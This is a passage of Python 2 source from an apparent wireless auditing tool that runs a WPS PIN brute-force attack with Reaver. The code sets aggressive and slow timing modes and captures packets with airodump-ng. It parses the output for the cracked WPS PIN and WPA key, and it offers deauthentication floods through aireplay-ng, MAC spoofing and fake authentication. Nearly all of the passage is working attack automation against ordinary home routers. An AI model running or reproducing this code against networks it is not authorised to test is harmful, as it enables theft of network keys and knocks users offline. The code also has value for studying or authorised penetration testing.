        usr_resp=AskQuestion(fcolor.BGreen + "Select an option ","1~5 " + fcolor.SWhite + "Default - " + fcolor.BRed + "5" ,"U","5","1")
    LineBreak()
    
    if usr_resp=="4":
        Para=CH5GHZ + "--dh-small --nack --eap-terminate --win7 --delay=0"
        AMODE=fcolor.BPink + "Aggresive Mode\t\t" # + fcolor.BGreen + "Parameter : " + fcolor.SWhite + str(Para)
    if usr_resp=="3":
        Para=CH5GHZ + "--dh-small --nack --eap-terminate --win7 --delay=2"
        AMODE=fcolor.BPink + "Aggresive Mode\t\t" # + fcolor.BGreen + "Parameter : " + fcolor.SWhite + str(Para)
    if usr_resp=="2":
        Para=CH5GHZ + "--dh-small --win7 --delay=120"
        AMODE=fcolor.BPink + "Slow Mode\t\t"  # + fcolor.BGreen + "Parameter : " + fcolor.SWhite + str(Para)
    if usr_resp=="1":
        Para=CH5GHZ + "--dh-small --win7 --delay=30"
        AMODE=fcolor.BPink + "Slow Mode\t\t"  # + fcolor.BGreen + "Parameter : " + fcolor.SWhite + str(Para)
    if usr_resp=="5":
        Para=CH5GHZ
        printc ("i",fcolor.BYellow + "Customized Configuration","")
        usr_resp=AskQuestion(fcolor.BGreen + "Use 'Small Diffie-Hellman' secret number to speedup process ?","Y/n","U","Y","1")
        if usr_resp=="Y":
            Para=Para+"--dh-small "
        usr_resp=AskQuestion(fcolor.BGreen + "Do not associate with the AP (association must be done by another application) ?","y/N","U","N","1")
        if usr_resp=="Y":
            Para=Para+"--no-associate "
        usr_resp=AskQuestion(fcolor.BGreen + "Assume target AP always sends a NACK ?","y/N","U","N","1")
        if usr_resp=="Y":
            Para=Para+"--nack "
        usr_resp=AskQuestion(fcolor.BGreen + "Terminate each WPS session with an EAP FAIL packet ?","y/N","U","N","1")
        if usr_resp=="Y":
            Para=Para+"--eap-terminate "
        usr_resp=AskQuestion(fcolor.BGreen + "Mimic a Windows 7 Registrar ?","Y/n","U","Y","1")
        if usr_resp=="Y":
            Para=Para+"--win7 "
        usr_resp=AskQuestion(fcolor.BGreen + "Use recurring delay ?","y/N","U","N","1")
        if usr_resp=="Y":
            printc(" ",fcolor.SWhite + "Afer every successful '" + fcolor.BRed + "x" + fcolor.SWhite + "' pin attempts, wait for '" + fcolor.BRed + "y" + fcolor.SWhite +"' seconds.","")
            pinattempt=AskQuestion(fcolor.BGreen + "Enter [x] pin attempt",fcolor.SGreen + "Default -" + fcolor.BYellow +"5","U","5","1")
            if pinattempt.isdigit()!=True:
                pinattempt="5"
            secwait=AskQuestion(fcolor.BGreen + "Enter [y] seconds to wait before next attempt",fcolor.SGreen + "Default -" + fcolor.BYellow +"120","U","120","1")
            if secwait.isdigit()!=True:
                secwait="120"
            Para=Para+"--recurring-delay=" + pinattempt +":" + secwait + " "
        else:
            usr_resp=AskQuestion(fcolor.BGreen + "Number of seconds to wait after next attempt ?",fcolor.SGreen + "Default -" + fcolor.BYellow +"1","U","1","1")
            if usr_resp.isdigit()!=True:
                Para=Para+"--delay=1"
            else:
                Para=Para+"--delay=" + usr_resp + " "
        usr_resp=AskQuestion(fcolor.BGreen + "Number of seconds to wait if router locked-down ?",fcolor.SGreen + "Default -" + fcolor.BYellow +"600","U","600","1")
        if usr_resp.isdigit()!=True:
            Para=Para+"--lock-delay=600"
        else:
            Para=Para+"--lock-delay=" + usr_resp + " "
        print ""
  
    printc(".",fcolor.BWhite + "Setting : " + fcolor.BPink + str(Para),"")
    usr_resp=AskQuestion(fcolor.BGreen + "Change current setting ?","y/N","U","N","1")
    ParaOld=Para
    LineBreak()
    if usr_resp=="Y":
        ParaSet=""
        while ParaSet=="":
            printc(".",fcolor.BBlue + "Setting Current : " + fcolor.BYellow + str(Para),"")
            printc(" ",fcolor.SRed + "HELP  " + fcolor.SWhite + " - Show help","")
            printc(" ",fcolor.SRed + "SET   " + fcolor.SWhite + " - Satisfied with the defined setting","")
            printc(" ",fcolor.SRed + "UNDO  " + fcolor.SWhite + " - Quit customize setting and use the default setting","")
            print ""
            usr_resp=AskQuestion(fcolor.BGreen + "Setting / Option : " + fcolor.BYellow,"","","","")
            if usr_resp=="":
                print ""
            elif str(usr_resp).upper()=="SET":
                printc(".",fcolor.BWhite + "New Setting : " + fcolor.BBlue + str(Para),"")
                usr_resp=AskQuestion(fcolor.BGreen + "Okay ?","Y/n ","U","Y","1")
                if usr_resp=="Y":
                    AMODE=AMODE + "Custom Parameter : " + fcolor.SWhite + str(Para)
                    ParaSet="1"
            elif str(usr_resp).upper()=="UNDO":
                printc(".",fcolor.BBlue + "Restored Default Setting : " + fcolor.BPink + str(ParaOld),"")
                Para=ParaOld
                AMODE=AMODE + fcolor.BGreen + "Parameter : " + fcolor.SWhite + str(Para)
                ParaSet="1"
            elif str(usr_resp).upper()=="HELP":
                printc(".",fcolor.BBlue + "Optional Arguments","")
                printc(" ",fcolor.BGreen + "-e, --essid=<ssid>" + "\t\t" + fcolor.SWhite + "ESSID of the target AP","")
                printc(" ",fcolor.BGreen + "-c, --channel=<channel>" + "\t\t" + fcolor.SWhite + "Set the 802.11 channel for the interface (implies -f)","")
                printc(" ",fcolor.BGreen + "-f, --fixed" + "\t\t\t" + fcolor.SWhite + "Disable channel hopping","")
                printc(" ",fcolor.BGreen + "-5, --5ghz" + "\t\t\t" + fcolor.SWhite + "Use 5GHz 802.11 channels","")
                printc(".",fcolor.BBlue + "Advanced Options","")
                printc(" ",fcolor.BGreen + "-d, --delay=<seconds>" + "\t\t" + fcolor.SWhite + "Set the delay between pin attempts" + fcolor.SGreen + "\t\t\t" + "[1]","")
                printc(" ",fcolor.BGreen + "-l, --lock-delay=<seconds>" + "\t" + fcolor.SWhite + "Set the seconds to wait if router locked down detected" + fcolor.SGreen + "\t" + "[60]","")
                printc(" ",fcolor.BGreen + "-x, --fail-wait=<seconds>" + "\t\t" + fcolor.SWhite + "Set the seconds to wait if after 10 unexpected failures detected" + fcolor.SGreen + "\t" + "[0]","")
                printc(" ",fcolor.BGreen + "-r, --recurring-delay=<x:y>" + "\t" + fcolor.SWhite + "Afer every successful 'x' pin attempts, wait for 'y' seconds","")
                printc(" ",fcolor.BGreen + "-t, --timeout=<seconds>" + "\t\t" + fcolor.SWhite + "Set the receive timeout period" + fcolor.SGreen + "\t\t\t\t" + "[5]","")
                printc(" ",fcolor.BGreen + "-T, --m57-timeout=<seconds>" + "\t" + fcolor.SWhite + "Set the M5/M7 timeout period" + fcolor.SGreen + "\t\t\t\t" + "[0.20]","")
                printc(" ",fcolor.BGreen + "-A, --no-associate" + "\t\t" + fcolor.SWhite + "Do not associate with the AP (association must be done by another application)","")
                printc(" ",fcolor.BGreen + "-N, --no-nacks" + "\t\t\t" + fcolor.SWhite + "Do not send NACK messages when out of order packets are received","")
                printc(" ",fcolor.BGreen + "-S, --dh-small" + "\t\t\t" + fcolor.SWhite + "Use small DH keys to improve crack speed","")
                printc(" ",fcolor.BGreen + "-L, --ignore-locks" + "\t\t" + fcolor.SWhite + "Ignore locked state reported by the target AP","")
                printc(" ",fcolor.BGreen + "-E, --eap-terminate" + "\t\t" + fcolor.SWhite + "Terminate each WPS session with an EAP FAIL packet","")
                printc(" ",fcolor.BGreen + "-n, --nack" + "\t\t\t" + fcolor.SWhite + "Target AP always sends a NACK" + fcolor.SGreen + "\t\t\t\t" + "[Auto]","")
                printc(" ",fcolor.BGreen + "-w, --win7" + "\t\t\t" + fcolor.SWhite + "Mimic a Windows 7 registrar" + fcolor.SGreen + "\t\t\t\t" + "[False]","")
                print ""
                printc(".",fcolor.BBlue + "Examples","")
                C1=fcolor.BGreen
                C2=fcolor.SYellow
                printc(" ",C1 + "--essid=" + C2 + "ASUS " + C1 + "--channel=" + C2 + "12" + C1 + " --fixed --delay=" + C2 + "15" + C1 + " --lock-delay=" + C2 + "500" + C1 + " --fail-wait=" + C2 + "180" + C1 + " --recurring-delay=" + C2 + "3:30" + C1 + " --timeout=" + C2 + "10 ","")
                printc(" ",C1 + "-e" + C2 + " ASUS      " + C1 + "-c " + C2 + "12" + C1 + "        -f      -d " + C2 + "15      " + C1 + "-l " + C2 + "15            " + C1 + "-x " + C2 + "180" + C1 + "          -r " + C2 + "3:30" + C1 + "                -t " + C2 + "10        ","")
                print "\n"
                printc(" ",C1 + "--dh-small --no-nacks --eap-terminate --nack --win7","")
                printc(" ",C1 + "-S         -N         -E              -n     -w\n","")
            else:
                Para=usr_resp
        LineBreak()
    else:
        AMODE=AMODE + "Parameter : " + fcolor.SWhite + str(Para)
    __builtin__.TStart=Now()
    printc ("i",fcolor.BGreen + "Time Start : " + fcolor.SWhite + str(__builtin__.TStart),"")
    print ""
    printc (".",fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Starting WPS Attack for Access Point [ " + fcolor.SYellow +str(TargetMAC) + fcolor.BGreen + " ]..","")
    OVERPARA="-i " + str(__builtin__.SELECTED_ATK) + " -b " + str(__builtin__.ATTACK_AP_BSSID) + " -c " + str(__builtin__.ATTACK_AP_CH) + " " + str(Para) + " -a -vv "
    printc (".",fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Overall Reaver Setting : [ " + fcolor.SWhite + str(OVERPARA) + fcolor.SGreen + " ] ..","")
    cmdLine="xterm -geometry 100x20-0-200 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Sniffing Packet' -e 'airodump-ng --bssid " + TargetMAC  + " -c" + str(TargetChannel) + " -w " +  tmpdir + "tmp-capture" + " " + str(__builtin__.SELECTED_ATK) + " | tee " + tmpdir + "SNIF_RESULT.txt" + "'"
    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
    __builtin__.Sniffer=ps.pid
    __builtin__.ProcIDList.append (str(__builtin__.Sniffer))
    DelFile (tmpdir + "*_TMP.dump","")
    DelFile (tmpdir + "*_TMP2.dump","")
    DelFile (tmpdir + "WPS_Result.txt","")
    cmdLine="xterm -geometry 100x10-0-200 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Auditing WPS [" + str(TargetMAC) + "' -e 'reaver " + str(OVERPARA) + " -o " + str(__builtin__.WPS_File) + " | tee " + tmpdir + "WPS_Result.txt'" 
    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
    __builtin__.ReaverID=ps.pid
    __builtin__.ProcIDList.append (str(__builtin__.ReaverID))
    cmdLine="ps -eo pid | grep '" + str(__builtin__.ReaverID) + "'"
    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE)	
    readout=str(ps.stdout.read().replace("\n","")).lstrip().rstrip()
    ps.wait();ps.stdout.close()
    if str(readout)=="" or readout!=str(__builtin__.ReaverID):
        printc ("!!!",fcolor.SWhite + Now() + " - " + fcolor.BRed + "WPS Auditor Stopped... Likely invalid setting...]","")
        printc (" ",  fcolor.SGreen + "Current Setting     : " + fcolor.BYellow + str(Para),"")
        print "\n"
        printc (" ",fcolor.SRed + "Exit WPS Auditing...","")
        KillAllMonitor()
        DisplayComplete(__builtin__.TStart)
        KillSubProc(__builtin__.Sniffer)
        DelFile (tmpdir + "tmp-capture*.*","")
        DelFile (tmpdir + "*_TMP.dump","")
        DelFile (tmpdir + "*_TMP2.dump","")
        print "";printc ("x","","")
        if __builtin__.LIVE_MON=="":
            OptAuditing("")
        return;
         
    __builtin__.ProcID=WEPAttackMode("AAPC","","","1")
    __builtin__.ProcIDList.append (str(__builtin__.ProcID))
    DelFile (tmpdir + "tmp-capture*.cap","")
    RESTART_CT=0
    FOUND1STPART=""
    while WPS_CRACKED=="":
        rlist=[]
        if IsFileDirExist(__builtin__.WPS_File)=="F":
            if IsFileDirExist(__builtin__.WPS_File2)=="F":
                with open(__builtin__.WPS_File2,"r") as f:
                    for line in f:
   
                        if str(line).find("Trying pin")!=-1:
                            rlist=str(line).split(" ")
                            WPS_PIN=str(rlist[3]).replace("\n","")
                            DMSG=fcolor.SWhite + "\n[.]   " + Now() + " - " +  fcolor.BPink + "Manual PIN Status - " + fcolor.BWhite + "Trying manually entered WPS PIN " + fcolor.BRed + str(WPS_PIN) +  fcolor.BWhite + " ...."
                            print DMSG
                        if str(line).find("Failed to recover WPA key")!=-1:
                            DMSG="\n" + tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BPink + "Manual PIN Status - " + fcolor.SRed + "Failed to recover encryption key with the manually entered WPS PIN [ " + fcolor.BRed + str(PIN) + fcolor.SRed + " ].." #  +  "\n"
                            print DMSG
                            PIN=""
                            DelFile (__builtin__.WPS_File2,"")
                        if str(line).find("WPS PIN: '")!=-1:
                            PIN=str(line)[14:-1]
                            PIN=str(PIN).replace("'","")
                        if str(line).find("WPA PSK: '")!=-1:
                            DMSG="\n" + tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BPink + "Manual PIN Status - " + fcolor.BGreen + "WPS PIN [ " + fcolor.BRed + str(PIN) + fcolor.BGreen + " ] matched..." # + "\n"
                            if IsFileDirExist(__builtin__.WPS_File)=="F" and IsFileDirExist(__builtin__.WPS_File2)=="F":
                                DelFile (tmpdir + __builtin__.WPS_File,"")
                            shutil.copy2(__builtin__.WPS_File2, __builtin__.WPS_File)
                            DelFile (tmpdir + __builtin__.WPS_File2,"")
                            print DMSG
                        if str(line).find("Failed to associate with")!=-1:
                            DMSG="\n" + tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BPink + "Manual PIN Status - " + fcolor.SRed + "Failed to associate with Access Point..." # + "\n"
                            print DMSG
                        if str(line).find("[+] Associated with")!=-1:
                            DMSG="\n" + tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BPink + "Manual PIN Status - " + fcolor.SGreen + "Associated with Access Point..." # + "\n"
                            print DMSG
                        if str(line).find("Receive timeout occurred")!=-1:
                            DMSG="\n" + tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BPink + "Manual PIN Status - " + fcolor.SWhite + "Receive timeout occurred..." # + "\n"
                            print DMSG
                        if str(line).find("WPS transaction failed")!=-1:
                            DMSG="\n" + tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BPink + "Manual PIN Status - " + fcolor.SWhite + "WPS transaction failed.. Retrying [ " + fcolor.BRed + str(PIN) + fcolor.BPink + " ]..." # + "\n"
                            print DMSG
                        if str(line).find("(1000 pins left to try)")!=-1:
                            PIN4=str(PIN)[:4]
                            DMSG="\n" + tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BPink + "Manual PIN Status - " + fcolor.BYellow + "Likely 1st set of PIN [ " + fcolor.BRed + str(PIN4) + fcolor.BYellow + " ] is correct..." #  + "\n"
                            print DMSG
                open(__builtin__.WPS_File2,"w").write("")
                      
            LINEFOUND=""
            with open(__builtin__.WPS_File,"r") as f:
                for line in f:
                    DMSG=""
                    line=line.replace("\n","").replace("\00","")
                    if line!="":
                        LINEFOUND="1"
                        if str(line).find("Failed to associate with")!=-1:
                            rlist=str(line).split(" ")
                            WPS_BSSID=rlist[6]
                            WPS_ESSID=""
                            EPos=str(line).index("(ESSID:")
                            if EPos>0:
                                EPos=EPos+8
                                WPS_ESSID=str(line)[EPos:-1].lstrip().rstrip()
                                if WPS_ESSID!="":
                                    LWPS_ESSID=fcolor.SRed + " ESSID : " + fcolor.SPink + str(WPS_ESSID)
                            DMSG=tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SRed + "Failed Associated to " + fcolor.SYellow + str(WPS_BSSID) + str(str(LWPS_ESSID)) + fcolor.SRed + "...."
                        if str(line).find("Associated with")!=-1:
                            rlist=str(line).split(" ")
                            WPS_BSSID=rlist[3]
                            WPS_ESSID=""
                            EPos=str(line).index("(ESSID:")
                            if EPos>0:
                                EPos=EPos+8
                                WPS_ESSID=str(line)[EPos:-1].lstrip().rstrip()
                                if WPS_ESSID!="":
                                    LWPS_ESSID=fcolor.SGreen + " ESSID : " + fcolor.SPink + str(WPS_ESSID)
                            DMSG=tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Associated with " + fcolor.SYellow + str(WPS_BSSID) + str(str(LWPS_ESSID)) + fcolor.SGreen + "....\n"
                        if str(line).find("Waiting for beacon from")!=-1:
                            rlist=str(line).split(" ")
                            WPS_BSSID=rlist[5]
                            DMSG=tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Waiting for beacon from " + fcolor.SYellow + str(WPS_BSSID) +  fcolor.SGreen + "...."
                        if str(line).find("Detected AP rate limiting")!=-1:
                            rlist=str(line).split(" ")
                            DWAIT=rlist[7]
                            DMSG=tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BRed + "Access Point Locked Down, retying after [ " + fcolor.SYellow + str(DWAIT) +  fcolor.BRed + " ] seconds....\n"
                        if str(line).find("WPS transaction failed")!=-1:
                            line=str(line).replace("[!] ","").replace("[+] ","")
                            if str(line).find("0x03")!=-1:
                                DMSG=tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SRed + "Unexpected timeout or EAP failure.. Retrying last PIN (0x03)\n"
                            elif str(line).find("0x02")!=-1:
                                DMSG=tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SRed + "Unexpected timeout or EAP failure.. Retrying last PIN (0x02)\n"
                            elif str(line).find("0x04")!=-1:
                                DMSG=tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SRed + "Unexpected timeout or EAP failure.. Retrying last PIN (0x04)\n"
                            else:
                                DMSG=tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SRed + str(line) + "\n"
                        if str(line).find("timeout occurred")!=-1:
                            line=str(line).replace("[!] ","").replace("[+] ","")
                            DMSG=tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SWhite +  "Timeout... Possible router rebooted or not responding\n"   #str(line) + "\n"
                        if str(line).find(" complete @")!=-1:
                            line=str(line).replace("[!] ","").replace("[+] ","")
                            line=str(line).replace("complete @","complete " + fcolor.SGreen + " @")
                            rlist=str(line).split(" ")
                            WPS_COMPLETE=rlist[0]
                            DMSG=tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BPink + str(line) + "\n"
                        if str(line).find("Max time remaining")!=-1:
                            line=str(line).replace("[!] ","").replace("[+] ","")
                            line=str(line).replace("at this rate:","at this rate:" + fcolor.BBlue)
                            line=str(line).replace(" (",fcolor.SGreen + " (")
                            rlist=str(line).split(" ")
                            WPS_COMPLETE=rlist[0]
                            DMSG=tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SGreen + str(line) + "\n"
                        if str(line).find("Received M5 message")!=-1 and FOUND1STPART=="":
                            PIN4=str(WPS_PIN)[:4]
                            FOUND1STPART="1"
                            DMSG=fcolor.SWhite + "\n[.]   " + Now() + " - " + fcolor.BBlue + "Found First Part of PIN [ " + fcolor.BYellow + str(PIN4) +  fcolor.BBlue + " ].. WPS PIN will be cracked soon....\n\n"
                        if str(line).find("unrecognized option")!=-1:
                            Unrecon=str(line).replace("reaver: unrecognized option ","").replace("unrecognized option","").replace("  "," ")
                            Unrecon=str(Unrecon).lstrip().rstrip()
                            printc ("!!!","Invalid Option Set : [ " & fcolor.SWhite + str(Unrecon) + fcolor.BRed + " ]..\n\n","")
                            printc ("x","Press any key to exit WPS Auditing...","")
                            KillAllMonitor()
                            DisplayComplete(__builtin__.TStart)
                            KillSubProc(__builtin__.Sniffer)
                            DelFile (tmpdir + "tmp-capture*.*","")
                            print "";printc ("x","","")
                            if __builtin__.LIVE_MON=="":
                                OptAuditing("")
                            return;
 
                        if str(line).find("Entering recurring delay")!=-1:
                            rlist=str(line).split(" ")
                            RECURRING_DELAY=rlist[5]
                            DMSG=fcolor.SWhite + "[.]   " + Now() + " - " + fcolor.SWhite + "Entering recurring Delay : " + fcolor.BRed + str(RECURRING_DELAY) +  fcolor.SWhite + " Seconds....\n"
                        if str(line).find("Restored previous session")!=-1:
                            DMSG=fcolor.SWhite + "[.]   " + Now() + " - " + fcolor.BPink + "Restoring Previous Session....\n"
                        if str(line).find("Trying pin")!=-1:
                            rlist=str(line).split(" ")
                            WPS_PIN=rlist[3]
                            DMSG=fcolor.SWhite + "[.]   " + Now() + " - " + fcolor.BGreen + "Trying PIN " + fcolor.BRed + str(WPS_PIN) +  fcolor.BGreen + " ....\n"
                        if DMSG=="" and line!="":
                            line=str(line).replace("[!] ","").replace("[+] ","")
                            DMSG=tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SGreen + str(line) + "...."
                        if str(line).find("failed connections in a row")!=-1:
                            rlist=str(line).split(" ")
                            FAILED_CT=rlist[1]
                            DMSG=fcolor.SWhite + "[!]   " + Now() + " - " + fcolor.BRed + "Warning : " + fcolor.SRed + "Failed [ " + fcolor.BYellow + str(FAILED_CT) + fcolor.SRed + " ] connections in a row\n"
                        if str(line).find("Nothing done, nothing to")!=-1:
                            line=""
                        if str(line).find("WPS PIN: '")!=-1:
                            WPS_CRACKED="1"
                            rlist=str(line).split(" ")
                            WPS_PIN=str(line)[10:-1]
                            DMSG=fcolor.SWhite + "[.]   " + Now() + " - " + fcolor.BBlue + "Found WPS PIN [ " + fcolor.BRed + str(WPS_PIN) +  fcolor.BBlue + " ] ....\n"
                        if str(line).find("WPA PSK: '")!=-1:
                            WPS_PW=str(line)[10:-1]
                            if str(__builtin__.ATTACK_AP_PRIVACY).find("WEP")!=-1:
                                Privacy="WEP Key"
                            else:
                                Privacy="WPA Pre-Shared Key"
                            DMSG=fcolor.SWhite + "[.]   " + Now() + " - " + fcolor.BBlue + "Found " + str(Privacy) + " [ " + fcolor.BRed + str(WPS_PW) +  fcolor.BBlue + " ] ....\n"
                        if str(line).find("AP SSID: '")!=-1:
                            WPS_ESSID=str(line)[10:-1]
                            DMSG=fcolor.SWhite + "[.]   " + Now() + " - " + fcolor.BBlue + "ESSID [ " + fcolor.BRed + str(WPS_ESSID) +  fcolor.BBlue + " ] ....\n"
                        if str(line).find("Failed to recover WPA key")!=-1:
                            line=str(line).replace("[!] ","").replace("[+] ","")
                            DMSG=tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BRed + "Failed to recover encryption key.." + "\n"
                            WPS_CRACKED="2"
                        if str(DMSG)!="":
                            printl (DMSG ,"0","")
            if LINEFOUND=="1":
                open(__builtin__.WPS_File,"w").write("")
            if WPS_CRACKED=="1":
                DisplayComplete(__builtin__.TStart)
                AddCrackDB(__builtin__.ATTACK_AP_BSSID,__builtin__.ATTACK_AP_PRIVACY,WPS_PW,WPS_ESSID,"",WPS_PIN,"")
        if WPS_CRACKED=="":
            cmdLine="ps -eo pid | grep '" + str(__builtin__.ReaverID) + "'"
            ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE)	
            readout=str(ps.stdout.read().replace("\n",""))
            readout=str(readout).lstrip().rstrip()
            ps.wait();ps.stdout.close()
            if str(readout)=="" or readout!=str(__builtin__.ReaverID):
                Search="WAIDPS - Auditing WPS"
                KillProc(Search)
                print ""
                printc ("!!!",fcolor.SWhite + Now() + " - " + fcolor.BRed + "WPS Auditor Stopped...Restarting....","")
                OVERPARA="-i " + str(__builtin__.SELECTED_ATK) + " -b " + str(__builtin__.ATTACK_AP_BSSID) + " -c " + str(__builtin__.ATTACK_AP_CH) + " " + str(Para) + " -a -vv "
                printc (".",fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Overall Reaver Setting : [ " + fcolor.SWhite + str(OVERPARA) + fcolor.SGreen + " ] ..","")
                DelFile (tmpdir + "*_TMP.dump","")
                DelFile (tmpdir + "*_TMP2.dump","")
                DelFile (tmpdir + "WPS_Result.txt","")
                cmdLine="xterm -geometry 100x10-0-200 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Auditing WPS [" + str(TargetMAC) + "' -e 'reaver " + str(OVERPARA) + " -o " + str(__builtin__.WPS_File) + " | tee " + tmpdir + "WPS_Result.txt'" 
                ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
                __builtin__.ReaverID=ps.pid
                __builtin__.ProcIDList.append (str(__builtin__.ReaverID))
                RESTART_CT =+ 1
                if RESTART_CT==6:
                    printc ("!!!","Auditor was restarted for more than 5 times...performing full restart...","")
                    KillAllMonitor()
                    LineBreak()
                    AttackWPSProc(TargetMAC,TargetChannel,ClentList,Auto)
                    return
                LineBreak()
            while sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
                usr_resp = sys.stdin.readline()
                if usr_resp:
                    retkey="1"
            while retkey!="":
                MSG=""
                LineBreak()
                printc ("i",fcolor.BBlue + "Auditing Menu [WPS]","")
                DisplayAPDetail()
                MSG=MSG + tabspacefull + fcolor.BRed + "1/O" + fcolor.SWhite + " - St" + fcolor.BYellow + "o" + fcolor.SWhite + "p Auditing\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "2/D" + fcolor.SWhite + " - " + fcolor.BYellow + "D" + fcolor.SWhite + "eauth Broadcast / Client\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "3/C" + fcolor.SWhite + " - List " + fcolor.BYellow + "C" + fcolor.SWhite + "lients\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "4/S" + fcolor.SWhite + " - " + fcolor.BYellow + "S" + fcolor.SWhite + "poof MAC address\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "5/P" + fcolor.SWhite + " - Try Manual WPS " + fcolor.BYellow + "P" + fcolor.SWhite + "IN\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "6/L" + fcolor.SWhite + " - " + fcolor.BYellow + "L" + fcolor.SWhite + "ookup Database History\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "7/F" + fcolor.BWhite + " - " + fcolor.BYellow + "F1" + fcolor.SWhite + " - Fake Authentication (1 Time)\t" +fcolor.BYellow + "F2" + fcolor.SWhite + " - Fake Authentication (Continous)\n"		
                MSG=MSG + tabspacefull + fcolor.BRed + "9/R" + fcolor.SWhite + " - " + fcolor.BYellow + "R" + fcolor.SWhite + "estart Auditing\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "0/T" + fcolor.SWhite + " - Re" + fcolor.BYellow + "t" + fcolor.SWhite + "urn\n"
                MSG=MSG + tabspacefull + fcolor.BGreen + "Mode: " + str(AMODE) + "\n"
                print MSG
                usr_resp=AskQuestion("Select an option",fcolor.BRed + "0" + fcolor.BYellow + " - Return","U"," ","1")
                if usr_resp!=" ":
                    LineBreak()
                if usr_resp!="0" and usr_resp!="T":
                    if usr_resp=="1" or usr_resp=="O":
                        KillSubProc(str(__builtin__.ReaverID))
                        ShutDownAuditingWindows()
                        DisplayComplete(__builtin__.TStart)
                        KillSubProc(__builtin__.Sniffer)
                        DelFile (tmpdir + "tmp-capture*.*","")
                        print "";printc ("x","","")
                        if __builtin__.LIVE_MON=="":
                            OptAuditing("")
                        return;
                    elif usr_resp=="2" or usr_resp=="D":
                        MSG=""
                        printc ("+",fcolor.BBlue + "Deauth Broadcast / Client","")
                        MSG=MSG + tabspacefull + fcolor.BRed + "1/B" + fcolor.SWhite + " - Deauth Broadcast\n"
                        MSG=MSG + tabspacefull + fcolor.BRed + "2/C" + fcolor.SWhite + " - Deauth Client " + fcolor.SRed + str(__builtin__.WPA_DEAUTH_MAC)
                        print MSG
                        usr_resp=str(AskQuestion( "Enter your option","1/2" + fcolor.SWhite + " - Default 1","U","1","")).lstrip().rstrip()
                        print ""
                        DEAUTH=""
                        if usr_resp=="1" or usr_resp=="B":
                            DAUTHCT=str(AskQuestion("Enter the number of time to send deauth signal",fcolor.SGreen + "Default - " + str(DAUTHCT),"U",DAUTHCT,"")).lstrip().rstrip()
                            if DAUTHCT.isdigit()!=True or DAUTHCT=="0":
                                DAUTHCT=5
                            print ""
                            printc (".",fcolor.BRed + "Broadcasting Deauthentication Signal To All Clients..." + fcolor.SGreen + " (x" + str(DAUTHCT) + ") ","")
                            cmd = [ "aireplay-ng","-0", str(DAUTHCT),"-a", str(__builtin__.ATTACK_AP_BSSID), str(__builtin__.SELECTED_MON)]
                            ps = Popen(cmd, stdout=PIPE, stderr=open(os.devnull))
                            ps.wait()
                        if usr_resp=="2" or usr_resp=="C":
                            if len(__builtin__.CUR_CLIENT)>0:
                                ListClientFound()
                            DefaultVal="X"
                            Default="Default - Return"
                            if str(__builtin__.WPA_DEAUTH_MAC)!="":
                                printc ("i",fcolor.BGreen + "Current Deauth Client MAC : " + fcolor.BRed + str(__builtin__.WPA_DEAUTH_MAC),"")
                                printc (" ",fcolor.SWhite + "To remove the current MAC, enter [" + fcolor.BRed + "X" + fcolor.SWhite +"]","")
                                Default="Default - " + str(__builtin__.WPA_DEAUTH_MAC) 
                                DefaultVal=__builtin__.WPA_DEAUTH_MAC
                            MAC=str(AskQuestion("Enter the Client MAC to Deauth xx:xx:xx:xx:xx:xx :",fcolor.SGreen + str(Default),"U",DefaultVal,"1")).lstrip().rstrip()
                            if MAC!="" and MAC!="X":
                                if len(MAC)!=17 or IsHex(MAC)==False:
                                    printc ("!!!","Invalid MAC Address Entered !","")
                                    print ""
                                elif MAC!="X": 
                                    __builtin__.WPA_DEAUTH_MAC=MAC
                                    print ""
                                    DAUTHCT=str(AskQuestion("Enter the number of time to send deauth signal",fcolor.SGreen + "Default - " + str(DAUTHCT),"U",DAUTHCT,"")).lstrip().rstrip()
                                    if DAUTHCT.isdigit()!=True or DAUTHCT=="0":
                                        DAUTHCT=5
                                    CLIENTMAC=__builtin__.WPA_DEAUTH_MAC
                                    print ""
                                    printc (".",fcolor.SWhite + Now() + " - " + fcolor.BRed + "Sending Deauthentication Signal To Selected Client : " + fcolor.BYellow + CLIENTMAC + fcolor.SGreen + " (x" + str(DAUTHCT) + ") ","")
